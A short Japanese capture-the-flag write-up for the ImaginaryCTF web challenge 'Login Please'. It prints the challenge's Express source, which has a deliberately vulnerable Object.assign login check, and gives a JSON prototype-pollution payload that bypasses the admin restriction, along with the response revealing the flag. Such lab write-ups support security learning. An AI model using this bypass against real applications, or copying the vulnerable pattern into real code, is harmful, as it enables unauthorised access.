💭
ImaginaryCTF Web問 Writeup [Login Please]
Login Please
URLにアクセスをするとUsernameとPasswordでログインを求められる。
ソースコードを見てみる。
1 <form action="/login" method="POST">
2 <div>
3 <label for="username">Username: </label>
4 <input name="username" type="text" id="username">
5 </div>
6 <div>
7 <label for="password">Password: </label>
8 <input name="password" type="password" id="password">
9 </div>
10 <button type="submit">Login</button>
11 </form>
12 <!-- /source -->
12行目のコメントで<!-- /source -->
と書かれているパスにアクセスしてみる。
1 const express = require('express')
2 const crypto = require('crypto')
3 function md5(text) {
4 return crypto.createHash('md5').update(text).digest('hex')
5 }
6 const app = express()
7 const users = {
8 guest: '084e0343a0486ff05530df6c705c8bb4',
9 admin: '21232f297a57a5a743894a0e4a801fc3',
10 '1337hacker': '2ab96390c7dbe3439de74d0c9b0b1767'
11 }
12 const localIPs = ['127.0.0.1', '::1', '::ffff:127.0.0.1']
13 app.use(express.urlencoded({ extended: false }))
14 app.use(express.json())
15 app.get('/', (req, res) => {
16 res.send(`
17 <form action="/login" method="POST">
18 <div>
19 <label for="username">Username: </label>
20 <input name="username" type="text" id="username">
21 </div>
22 <div>
23 <label for="password">Password: </label>
24 <input name="password" type="password" id="password">
25 </div>
26 <button type="submit">Login</button>
27 </form>
28 <!-- /source -->
29 `)
30 })
31 app.post('/login', (req, res) => {
32 if (req.body.username === 'admin' && !localIPs.includes(req.ip)) {
33 return res.end('Admin is only allowed from localhost')
34 }
35 const auth = Object.assign({}, req.body)
36 if (users[auth.username] === md5(auth.password)) {
37 if (auth.username === 'admin') {
38 res.end(`Welcome admin! The flag is ${process.env.FLAG}`)
39 } else {
40 res.end(`Welcome ${auth.username}!`)
41 }
42 } else {
43 res.end('Invalid username or password')
44 }
45 })
46 app.get('/source', (req, res) => {
47 res.sendFile(__filename)
48 })
49 app.get('/package.json', (req, res) => {
50 res.sendFile('package.json', { root: __dirname })
51 })
52 const port = 5001 || process.env.PORT
53 app.listen(port, () => {
54 console.log(`Server running on http://localhost:${port}`)
55 })
見るところはここ
31 app.post('/login', (req, res) => {
32 if (req.body.username === 'admin' && !localIPs.includes(req.ip)) {
33 return res.end('Admin is only allowed from localhost')
34 }
35 const auth = Object.assign({}, req.body)
36 if (users[auth.username] === md5(auth.password)) {
37 if (auth.username === 'admin') {
38 res.end(`Welcome admin! The flag is ${process.env.FLAG}`)
39 } else {
40 res.end(`Welcome ${auth.username}!`)
41 }
42 } else {
43 res.end('Invalid username or password')
44 }
45 })
全て回避してフラグを表示させるには、「プロトタイプ汚染攻撃」を行う。
Content-Type
をapplication/json
に変更し、
以下のリクエストを送る。
{
"__proto__":{"username":"admin"},
"password":"admin"
}
フラグをゲットする。
HTTP/1.1 200 OK
X-Powered-By: Express
Date: Fri, 16 Sep 2022 05:47:55 GMT
Connection: close
Content-Length: 68
Welcome admin! The flag is ictf{omg_js_why_are_you_doing_this_to_me}
Discussion